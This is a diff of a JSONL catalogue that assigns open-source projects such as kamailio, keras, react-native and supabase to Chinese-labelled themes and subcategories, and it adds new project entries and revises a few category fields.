{"slug":"kamailio","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"kaniko","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} +{"slug":"kbone","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"kedro","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"kepler-gl","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"keras","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} @@ -374,6 +405,7 @@ {"slug":"konva","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"前端图形 / Canvas 2D","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"krakend","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"kratos","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} +{"slug":"krita","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"ktor","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"kubebuilder","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"kubectx","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} @@ -417,6 +449,7 @@ {"slug":"litellm-proxy","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"ai-eng","source":"category","confidence":"high","rawCategory":"机器学习"} {"slug":"litestar","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"litmus","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} +{"slug":"littlefs","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"liveblocks","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"livekit-flutter","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"livekit","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} @@ -438,6 +471,7 @@ {"slug":"love2d","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"lsd","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"lucia","area":"projects","theme":"CLI","themeId":"cli","subcategory":"工具库","source":"category","confidence":"high","rawCategory":"CLI"} +{"slug":"luma-gl","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"lunarvim","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"luxon","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects / 前端工具库","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"lwip","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} @@ -449,6 +483,7 @@ {"slug":"mapbox-gl-js","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"maplibre-gl","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"mariadb-server","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} +{"slug":"marimo","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"markdown-it","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects / 前端工具链","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"marked","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"marktext","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} @@ -456,6 +491,7 @@ {"slug":"matplotlib","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"matrix-js-sdk","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"matrix-rust-sdk","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} +{"slug":"matter-js","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"mattermost","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"mbedtls","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"mcp-ts-sdk","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"智能体与 LLM","source":"category","confidence":"high","rawCategory":"机器学习"} @@ -466,6 +502,7 @@ {"slug":"melonjs","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"memcached","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"memgraph","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} +{"slug":"mender","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"mermaid","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"meshroom","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"metabase","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} @@ -479,9 +516,10 @@ {"slug":"mikro-orm","area":"projects","theme":"数据库","themeId":"databases","subcategory":"ORM","source":"category","confidence":"high","rawCategory":"数据库"} {"slug":"miller","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"milvus","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} +{"slug":"mind-ar-js","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"minetest","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"minikube","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} -{"slug":"minio","area":"projects","theme":"数据库","themeId":"databases","subcategory":"数据库 / 存储","source":"category","confidence":"high","rawCategory":"数据库"} +{"slug":"minio","area":"projects","theme":"数据库","themeId":"databases","subcategory":"databases-storage","source":"candidates.topic+category","confidence":"high","rawCategory":"数据库"} {"slug":"minisearch","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"mise","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"mlflow","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} @@ -505,7 +543,9 @@ {"slug":"nanobrowser","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"AI agent","source":"category","confidence":"high","rawCategory":"机器学习"} {"slug":"nanomq","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"nanostores","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects / 前端","source":"category","confidence":"high","rawCategory":"后端 API"} +{"slug":"native-base","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"nativescript","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} +{"slug":"nativewind","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"nats-server","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"nats","area":"projects","theme":"分布式系统","themeId":"distributed-systems","subcategory":"消息队列","source":"category","confidence":"high","rawCategory":"分布式系统"} {"slug":"navigation2","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} @@ -550,7 +590,8 @@ {"slug":"oh-my-posh","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"ollama","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"open-sora","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"openai-agents-sdk","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"AI 工程","source":"category","confidence":"high","rawCategory":"机器学习"} +{"slug":"open3d","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} +{"slug":"openai-agents-sdk","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"ai-agent-infra","source":"candidates.topic+category","confidence":"high","rawCategory":"机器学习"} {"slug":"opencode","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"opencv","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"openhab","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} @@ -575,7 +616,9 @@ {"slug":"ora","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"category","confidence":"high","rawCategory":"CLI"} {"slug":"orleans","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"otel-collector","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"基础设施 / 可观测性","source":"category","confidence":"high","rawCategory":"基础设施"} +{"slug":"outline","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"ovenmediaengine","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} +{"slug":"overleaf","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"oxc","area":"projects","theme":"编译器","themeId":"compilers","subcategory":"projects / 编译器","source":"category","confidence":"high","rawCategory":"编译器"} {"slug":"paddle-lite","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"paddleocr","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} @@ -584,6 +627,7 @@ {"slug":"panel","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"partykit","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"patchright","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects","source":"category","confidence":"high","rawCategory":"后端 API"} +{"slug":"pcl","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"pdfkit","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"pdfmake","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"pdfme","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} @@ -594,12 +638,14 @@ {"slug":"pgvector","area":"projects","theme":"数据库","themeId":"databases","subcategory":"数据库 / 向量","source":"category","confidence":"high","rawCategory":"数据库"} {"slug":"phaser","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"phoenix","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} +{"slug":"picogl","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"pillow","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"pino","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects / Node.js","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"pinot","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"pion","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"piper","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"pixi","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"projects / 图形渲染","source":"category","confidence":"high","rawCategory":"图形学"} +{"slug":"planck","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"plane","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"SaaS 应用","source":"slugOverrides","confidence":"high","rawCategory":"后端 API"} {"slug":"platformio-core","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"playcanvas","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} @@ -608,6 +654,7 @@ {"slug":"plotly-py","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"plotnine","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"plug","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} +{"slug":"pluto-jl","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"pnpm","area":"projects","theme":"CLI","themeId":"cli","subcategory":"projects / 工具","source":"category","confidence":"high","rawCategory":"CLI"} {"slug":"pocketbase","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"podman","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} @@ -650,8 +697,10 @@ {"slug":"radix-ui","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"前端组件库","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"rails","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"ranger","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} +{"slug":"rapier","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"rasa","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"ratatui","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} +{"slug":"rauc","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"ravendb","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"ray","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"raylib","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} @@ -659,6 +708,10 @@ {"slug":"react-flow","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"react-hook-form","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"react-intl","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects / 前端 i18n","source":"category","confidence":"high","rawCategory":"后端 API"} +{"slug":"react-native-macos","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} +{"slug":"react-native-paper","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} +{"slug":"react-native-web","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} +{"slug":"react-native-windows","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"react-native","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"react-spring","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects / 前端动画","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"react","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"UI 框架","source":"category","confidence":"high","rawCategory":"后端 API"} @@ -667,12 +720,14 @@ {"slug":"redis","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"redpanda","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"regl","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} +{"slug":"remax","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"remix-ide","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"remix","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Meta 框架","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"reservoir-sdk","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"rethinkdb","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"ripgrep","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"risingwave","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} +{"slug":"rive","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"robyn","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"rocket-chat","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"rocket","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} @@ -702,6 +757,8 @@ {"slug":"sequelize","area":"projects","theme":"数据库","themeId":"databases","subcategory":"ORM","source":"category","confidence":"high","rawCategory":"数据库"} {"slug":"sglang","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"shadcn-ui","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"前端 / 组件库","source":"category","confidence":"high","rawCategory":"后端 API"} +{"slug":"shader-park","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} +{"slug":"shadowsocks-libev","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"shaka-packager","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"shaka-player","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"shap","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} @@ -738,7 +795,9 @@ {"slug":"sortablejs","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"sox","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"spacemacs","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} +{"slug":"spectorjs","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"spin","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} +{"slug":"spine-runtimes","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"spring-boot","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"sqlite","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"stable-diffusion-webui","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} @@ -757,7 +816,7 @@ {"slug":"styled-components","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects / 前端样式","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"stylex","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"前端","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"sui","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} -{"slug":"supabase","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"后端 / BaaS","source":"category","confidence":"high","rawCategory":"后端 API"} +{"slug":"supabase","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"databases-storage","source":"candidates.topic+category","confidence":"high","rawCategory":"后端 API"} {"slug":"supercollider","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"superset","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"supertokens","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects / 认证","source":"category","confidence":"high","rawCategory":"后端 API"} @@ -766,15 +825,19 @@ {"slug":"sveltekit","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Meta 框架","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"svt-av1","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"swc","area":"projects","theme":"编译器","themeId":"compilers","subcategory":"构建工具","source":"category","confidence":"high","rawCategory":"编译器"} +{"slug":"swift-collections","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} +{"slug":"swift-nio","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"swr","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"前端","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"symfony","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"synapse","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"tabulator","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"tailwind","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"CSS","source":"category","confidence":"high","rawCategory":"后端 API"} +{"slug":"tamagui","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"tanstack-form","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects / 前端","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"tanstack-query","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"数据获取","source":"slugOverrides","confidence":"high","rawCategory":"后端 API"} {"slug":"tanstack-router","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"tantivy","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} +{"slug":"taro","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"task","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"tauri","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"tdengine","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} @@ -786,12 +849,14 @@ 